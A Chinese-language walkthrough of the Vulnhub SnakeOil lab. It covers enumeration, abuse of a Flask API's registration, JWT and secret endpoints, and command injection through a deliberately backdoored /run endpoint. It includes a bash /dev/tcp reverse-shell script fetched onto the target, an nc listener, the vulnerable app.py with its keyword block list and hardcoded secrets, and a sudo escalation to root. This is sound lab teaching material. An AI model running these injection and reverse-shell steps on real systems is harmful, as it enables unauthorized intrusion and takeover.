Vulnhub Snakeoil靶机解题(过程非常麻烦,需要一直用burpsuite)
Snakeoil
识别目标主机IP地址
─(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ sudo netdiscover -i eth
Currently scanning: 192.168.122.0/16 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:11 1 60 Unknown vendor
192.168.56.100 08:00:27:98:60:b7 1 60 PCS Systemtechnik GmbH
192.168.56.111 08:00:27:18:5b:00 1 60 PCS Systemtechnik GmbH 1
利用Kali Linux自带的netdiscover工具识别目标主机的IP地址为192.168.56.111
NMAP扫描
┌──(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.111 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-04 02:58 EDT
Nmap scan report for localhost (192.168.56.111)
Host is up (0.00014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 73:a4:8f:94:a2:20:68:50:5a:ae:e1:d3:60:8d:ff:55 (RSA)
| 256 f3:1b:d8:c3:0c:3f:5e:6b:ac:99:52:80:7b:d6:b6:e7 (ECDSA)
|_ 256 ea:61:64:b6:3b:d3:84:01:50:d8:1a:ab:38:29:12:e1 (ED25519)
80/tcp open http nginx 1.14.2
|_http-title: Welcome to SNAKEOIL!
|_http-server-header: nginx/1.14.2
8080/tcp open http nginx 1.14.2
|_http-title: Welcome to Good Tech Inc.'s Snake Oil Project
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:18:5B:00 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.07 seconds
Get Access
先看一下80端口:
┌──(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ curl http://192.168.56.111
<!DOCTYPE html>
<html>
<head>
<title>Welcome to SNAKEOIL!</title>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
</head>
<body>
<h1>Welcome to SNAKEOIL!</h1>
<p>Congratulations! SNAKEOIL is set up properly!</p>
<p>If you are lost with life, <a href="https://www.google.com">Google</a> can help.<br/></p>
</body>
</html>
返回的页面内容很简单,
┌──(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ curl http://192.168.56.111/robots.txt
<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.14.2</center>
</body>
</html>
NMAP扫描以及访问robots.txt文件返回结果表明目标主机运行的nginx版本为1.14.2
──(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ searchsploit nginx 1.14.2
Exploits: No Results
Shellcodes: No Results
──(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ nikto -h http://192.168.56.111
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.56.111
+ Target Hostname: 192.168.56.111
+ Target Port: 80
+ Start Time: 2022-11-04 03:05:30 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.14.2
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7915 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time: 2022-11-04 03:06:04 (GMT-4) (34 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Nikto工具没有带来有价值的结果。
─(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ gobuster dir -u http://192.168.56.111 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.111
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.2.0-dev
[+] Timeout: 10s
===============================================================
2022/11/04 03:07:34 Starting gobuster in directory enumeration mode
===============================================================
Progress: 219786 / 220561 (99.65%)===============================================================
2022/11/04 03:08:06 Finished
===============================================================
┌──(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ gobuster dir -u http://192.168.56.111 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.sh
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.111
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.2.0-dev
[+] Extensions: php,html,txt,sh
[+] Timeout: 10s
===============================================================
2022/11/04 03:11:00 Starting gobuster in directory enumeration mode
===============================================================
Progress: 1099750 / 1102805 (99.72%)===============================================================
2022/11/04 03:14:20 Finished
===============================================================
┌──(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ dirb http://192.168.56.111
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Nov 4 03:14:57 2022
URL_BASE: http://192.168.56.111/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
----------------- GENERATED WORDS: 4612
---- Scanning URL: http://192.168.56.111/ ----
-----------------
END_TIME: Fri Nov 4 03:14:59 2022
DOWNLOADED: 4612 - FOUND: 0
┌──(kali㉿kali)-[~/Vulnhub/SnakeOil]─$
没有发现任何目录,比较奇怪,只能暂时放一下,看一下另一个端口
──(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ curl http://192.168.56.111:8080/
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<title> Welcome to Good Tech Inc.'s Snake Oil Project </title>
</head>
<body>
<nav class="navbar navbar-expand-md navbar-light bg-light">
<a class="navbar-brand" href="/">Good Tech Inc</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarNav">
<ul class="navbar-nav">
<li class="nav-item active">
<a class="nav-link" href="#">About</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/create">New Post</a>
</li>
</ul>
</div>
</nav>
<div class="container">
<h1> Welcome to Good Tech Inc.'s Snake Oil Project </h1>
<a href="/1">
<h2>Introduction</h2>
</a>
<span class="badge badge-primary">2021-06-19 10:02:53</span>
<a href="/1/edit">
<span class="badge badge-warning">Edit</span>
</a>
<hr>
<a href="/2">
<h2>House Rules</h2>
</a>
<span class="badge badge-primary">2021-06-19 10:02:53</span>
<a href="/2/edit">
<span class="badge badge-warning">Edit</span>
</a>
<hr>
<a href="/4">
<h2>Useful Links</h2>
</a>
<span class="badge badge-primary">2021-08-18 00:29:46</span>
<a href="/4/edit">
<span class="badge badge-warning">Edit</span>
</a>
<hr>
</div>
<!-- Optional JavaScript -->
<!-- jQuery first, then Popper.js, then Bootstrap JS -->
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</body>
</html>
会不会有跨站脚本攻击漏洞?
看链接会不会有SQL注入漏洞?
加引号访问
──(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ curl "http://192.168.56.111:8080/5'"
{"message":"Who moved my cheese?","success":false}
在用SQLMAP测试之前,先看一下有没有其他目录或者文件存在
──(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ curl http://192.168.56.111:8080/robots.txt
{"message":"Who moved my cheese?","success":false}
┌──(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ gobuster dir -u http://192.168.56.111:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.111:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.2.0-dev
[+] Timeout: 10s
===============================================================
2022/11/04 03:22:44 Starting gobuster in directory enumeration mode
===============================================================
/1 (Status: 200) [Size: 2193]
/01 (Status: 200) [Size: 2193]
/login (Status: 405) [Size: 64]
/2 (Status: 200) [Size: 2356]
/05 (Status: 200) [Size: 2104]
/04 (Status: 200) [Size: 2324]
/02 (Status: 200) [Size: 2356]
/4 (Status: 200) [Size: 2324]
/5 (Status: 200) [Size: 2104]
/users (Status: 200) [Size: 140]
/registration (Status: 200) [Size: 29]
/test (Status: 200) [Size: 17]
/create (Status: 200) [Size: 2596]
/001 (Status: 200) [Size: 2193]
/002 (Status: 200) [Size: 2356]
/005 (Status: 200) [Size: 2104]
/004 (Status: 200) [Size: 2324]
/0001 (Status: 200) [Size: 2193]
/secret (Status: 500) [Size: 37]
/run (Status: 405) [Size: 178]
/0004 (Status: 200) [Size: 2324]
/0002 (Status: 200) [Size: 2356]
/0005 (Status: 200) [Size: 2104]
/000005 (Status: 200) [Size: 2104]
/000004 (Status: 200) [Size: 2324]
/000002 (Status: 200) [Size: 2356]
/00000001 (Status: 200) [Size: 2193]
/00001 (Status: 200) [Size: 2193]
/000001 (Status: 200) [Size: 2193]
/00004 (Status: 200) [Size: 2324]
/00000002 (Status: 200) [Size: 2356]
/00002 (Status: 200) [Size: 2356]
/00005 (Status: 200) [Size: 2104]
/00000005 (Status: 200) [Size: 2104]
/64356135653039353435383166306330 (Status: 500) [Size: 185]
/0000001 (Status: 200) [Size: 2193]
/64356135653039353435613034323230 (Status: 500) [Size: 185]
/64356135653039353435613034616530 (Status: 500) [Size: 185]
/64356135653039353435613033613530 (Status: 500) [Size: 185]
/63646263373534393435386631383830 (Status: 500) [Size: 185]
/107067071280044555663900002 (Status: 500) [Size: 185]
/10706688252819824218700014 (Status: 500) [Size: 185]
/0000002 (Status: 200) [Size: 2356]
/00000004 (Status: 200) [Size: 2324]
Progress: 220261 / 220561 (99.86%)===============================================================
2022/11/04 03:28:26 Finished
==================================================
发现了users目录,访问一下该目录:
─(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ curl http://192.168.56.111:8080/users
{"users": [{"username": "patrick", "password": "$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040"}]}
发现了一个用户名和加密过的密码。
同时另外发现了一个registration目录
─$ curl http://192.168.56.111:8080/registration
{"error": "Wrong Method!!!"}
提示方法错误,这简单,用burpsuite拦截请求,修改请求方法:
但是返回页面,提示username不能为空
那就加上username再次请求,此时返回password不能为空,同样的,继续拦截并修改请求:
显示注册成功,然后用注册的用户名密码登录/login页面
访问/run,提示需要提供url:port
返回还是错误,需要修改content-type为application/json
此时提示需要secret key,前面目录扫描的时候有发现/secret目录
但是访问该目录,提示internal server错误
需要加上cookie
前面注册成功并登录后返回access_token:
access_token "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY2NzU3NzQ0MCwianRpIjoiMTYyMDFiZjgtMjU5OS00Y2UwLTk5NzAtMjBmMGZmNTk2MTAzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imphc29uIiwibmJmIjoxNjY3NTc3NDQwLCJleHAiOjE2Njc1NzgzNDB9.PNDu5fix37xuV3kuCcvNlDTDeVxVLuPu1Ev1l54FMTQ"
得到了secret_key,回过头去访问/run页面(带上secret_key),
返回的一些系统相关的信息。
也就是说可以执行命令
接下来是如何反向shell
┌──(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.56.107/5555 0>&1
设法将shell.sh下载到靶机,可以在Kali上启用http
"--2022-11-05 00:30:17-- http://192.168.56.107:8000/shell.sh\nConnecting to 192.168.56.107:8000... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 57 [text/x-sh]\nSaving to: ‘shell.sh’\n\n 0K 100% 5.25M=0s\n\n2022-11-05 00:30:17 (5.25 MB/s) - ‘shell.sh’ saved [57/57]\n\n"
应该是上传成功了
接下来还需要修改shell.sh的权限:
没有出错,接下来执行该程序shell.sh,但是返回结果是“banned command"
去掉bash,直接以./shell.sh执行,成功得到shell
┌──(kali㉿kali)-[~/Vulnhub/SnakeOil]
└─$ sudo nc -nlvp 5555
[sudo] password for kali:
listening on [any] 5555 ...
connect to [192.168.56.107] from (UNKNOWN) [192.168.56.111] 37788
bash: cannot set terminal process group (518): Inappropriate ioctl for device
bash: no job control in this shell
patrick@SNAKEOIL:~/flask_blog$
patrick@SNAKEOIL:~/flask_blog$ cat app.py
cat app.py
import sqlite3
import json
from flask import Flask, render_template, request, url_for, flash, redirect, jsonify, make_response, abort
from werkzeug.exceptions import abort
from functools import wraps
from flask_restful import Resource, Api
from flask_sqlalchemy import SQLAlchemy
from datetime import datetime
from datetime import timedelta
from datetime import timezone
from flask_jwt_extended import create_access_token
from flask_jwt_extended import create_refresh_token
from flask_jwt_extended import get_jwt
from flask_jwt_extended import get_jwt_identity
from flask_jwt_extended import jwt_required
from flask_jwt_extended import JWTManager
from flask_jwt_extended import set_access_cookies
from flask_jwt_extended import unset_jwt_cookies
from subprocess import Popen, TimeoutExpired, PIPE
def get_db_connection():
conn = sqlite3.connect('database.db')
conn.row_factory = sqlite3.Row
return conn
def get_post(post_id):
conn = get_db_connection()
post = conn.execute('SELECT * FROM posts WHERE id = ?',
(post_id,)).fetchone()
conn.close()
if post is None:
abort(404)
return post
app = Flask(__name__)
api = Api(app)
app.config['SECRET_KEY'] = 'snakeoilisnotgoodforcorporations'
app.config['JWT_COOKIE_SECURE'] = True
app.config['JWT_SECRET_KEY'] = 'NOreasonableDOUBTthisPASSWORDisGOOD'
app.config['JWT_ACCESS_TOKEN_EXPIRES'] = timedelta(minutes=15)
app.config['JWT_REFRESH_TOKEN_EXPIRES'] = timedelta(hours=1)
app.config['JWT_TOKEN_LOCATION'] = ['cookies']
app.config['JWT_COOKIE_CSRF_PROTECT'] = False # development setting!
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///app.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
jwt = JWTManager(app)
# initialisation of internal section
@app.before_first_request
def create_tables():
db.create_all()
# refresh JWT
@app.after_request
def refresh_expiring_jwts(response):
try:
exp_timestamp = get_jwt()["exp"]
now = datetime.now(timezone.utc)
target_timestamp = datetime.timestamp(now + timedelta(minutes=30))
if target_timestamp > exp_timestamp:
access_token = create_access_token(identity=get_jwt_identity())
set_access_cookies(response, access_token)
return response
except (RuntimeError, KeyError):
# Case where there is not a valid JWT. Just return the original respone
return response
# external functions
@app.route('/')
def index():
conn = get_db_connection()
posts = conn.execute('SELECT * FROM posts').fetchall()
conn.close()
return render_template('index.html', posts=posts)
@app.route('/<int:post_id>') # write int so we don't get a SQLi!
def post(post_id):
post = get_post(post_id)
return render_template('post.html', post=post)
@app.route('/create', methods=('GET', 'POST'))
def create():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
if not title:
flash('Title is required!')
else:
conn = get_db_connection()
conn.execute('INSERT INTO posts (title, content) VALUES (?, ?)',
(title, content))
conn.commit()
conn.close()
return redirect(url_for('index'))
return render_template('create.html')
@app.route('/<int:id>/edit', methods=('GET', 'POST'))
def edit(id):
post = get_post(id)
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
if not title:
flash('Title is required!')
else:
conn = get_db_connection()
conn.execute('UPDATE posts SET title = ?, content = ?'
' WHERE id = ?',
(title, content, id))
conn.commit()
conn.close()
return redirect(url_for('index'))
return render_template('edit.html', post=post)
@app.route('/<int:id>/delete', methods=('POST',))
def delete(id):
post = get_post(id)
conn = get_db_connection()
conn.execute('DELETE FROM posts WHERE id = ?', (id,))
conn.commit()
conn.close()
flash('"{}" was successfully deleted!'.format(post['title']))
return redirect(url_for('index'))
# api functions. for internal users only
import views, models, resources
api.add_resource(resources.UserRegistration, '/registration')
api.add_resource(resources.UserLogin, '/login')
api.add_resource(resources.UserLogoutAccess, '/logout/access')
api.add_resource(resources.UserLogoutRefresh, '/logout/refresh')
api.add_resource(resources.TokenRefresh, '/token/refresh')
api.add_resource(resources.AllUsers, '/users')
api.add_resource(resources.SecretResource, '/secret')
api.add_resource(resources.TestResource,'/test')
# error handling
@app.errorhandler(404)
def resource_not_found(e):
return jsonify(success=False, message="Who moved my cheese?"), 404
@app.errorhandler(400)
def bad_request(error):
return jsonify(success=False, message=error.description), 400
@app.errorhandler(500)
def server_error(error):
return jsonify(success=False, message=error.description), 500
# backdoor. dangerous!
@app.route("/run", methods=["POST"])
def backdoor():
req_json = request.get_json()
if req_json is None or "url" not in req_json:
abort(400, description="Please provide URL to request in the form url:port. Example: 127.0.0.1:12345")
if "secret_key" not in req_json:
abort(400, description="We need your secret key!")
if req_json["secret_key"] != "commandexecutionissecret":
abort(400, description="Wrong secret key! Alert will be raised!")
# write some validation rules to stop shell commands
if "bash" in req_json["url"]:
abort(400, description="Banned command!")
if "python" in req_json["url"]:
abort(400, description="Banned command!")
if "/dev/tcp" in req_json["url"]:
abort(400, description="Banned command!")
if "nc" in req_json["url"]:
abort(400, description="Banned command!")
if "mkfifo" in req_json["url"]:
abort(400, description="Banned command!")
if "php" in req_json["url"]:
abort(400, description="Banned command!")
# if the command is allowed, run it because it is probably safe.
proc = Popen("/usr/bin/curl " + req_json["url"] + " > output.txt", stdout=PIPE, stderr=PIPE, shell=True)
try:
outs, errs = proc.communicate(timeout=1)
except TimeoutExpired:
proc.kill()
abort(500, description="The timeout is expired!")
if errs:
abort(500, description=errs.decode('utf-8'))
return jsonify(success=True, message=outs.decode('utf-8'))
# hosting instructions
if __name__ == "__main__":
app.run(host='0.0.0.0')
patrick@SNAKzh:~/flask_blog$
zh
这个文件中看到了密码:
app.config['SECRET_KEY'] = 'snakeoilisnotgoodforcorporations'
app.config['JWT_COOKIE_SECURE'] = True
app.config['JWT_SECRET_KEY'] = 'NOreasonableDOUBTthisPASSWORDisGOOD'
patrick@SNAKEOIL:~/flask_blog$ sudo -l
sudo -l
Matching Defaults entries for patrick on SNAKEOIL:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User patrick may run the following commands on SNAKEOIL:
(root) NOPASSWD: /sbin/shutdown
(ALL : ALL) ALL
patrick@SNAKEOIL:~/flask_blog$
可以执行任何命令,包括提权到root
patrick@SNAKEOIL:~/flask_blog$ sudo -l
sudo -l
Matching Defaults entries for patrick on SNAKEOIL:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User patrick may run the following commands on SNAKEOIL:
(root) NOPASSWD: /sbin/shutdown
(ALL : ALL) ALL
patrick@SNAKEOIL:~/flask_blog$ sudo su
sudo su
sudo: no tty present and no askpass program specified
patrick@SNAKEOIL:~/flask_blog$ which python
which python
/home/patrick/flask_blog/flask_blog/bin/python
patrick@SNAKEOIL:~/flask_blog$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
patrick@SNAKEOIL:~/flask_blog$ sudo su
sudo su
[sudo] password for patrick: NOreasonableDOUBTthisPASSWORDisGOOD
root@SNAKEOIL:/home/patrick/flask_blog# id
id
uid=0(root) gid=0(root) groups=0(root)
root@SNAKEOIL:/home/patrick/flask_blog# cd /root
cd /root
root@SNAKEOIL:~# ls
ls
proof.txt sudoers.bak
root@SNAKEOIL:~# cat proof.txt
cat proof.txt
Congratulations on obtaining a root shell on this machine! :-)
root@SNAKEOIL:~#
尝试app.py中的两个密码,成功提权。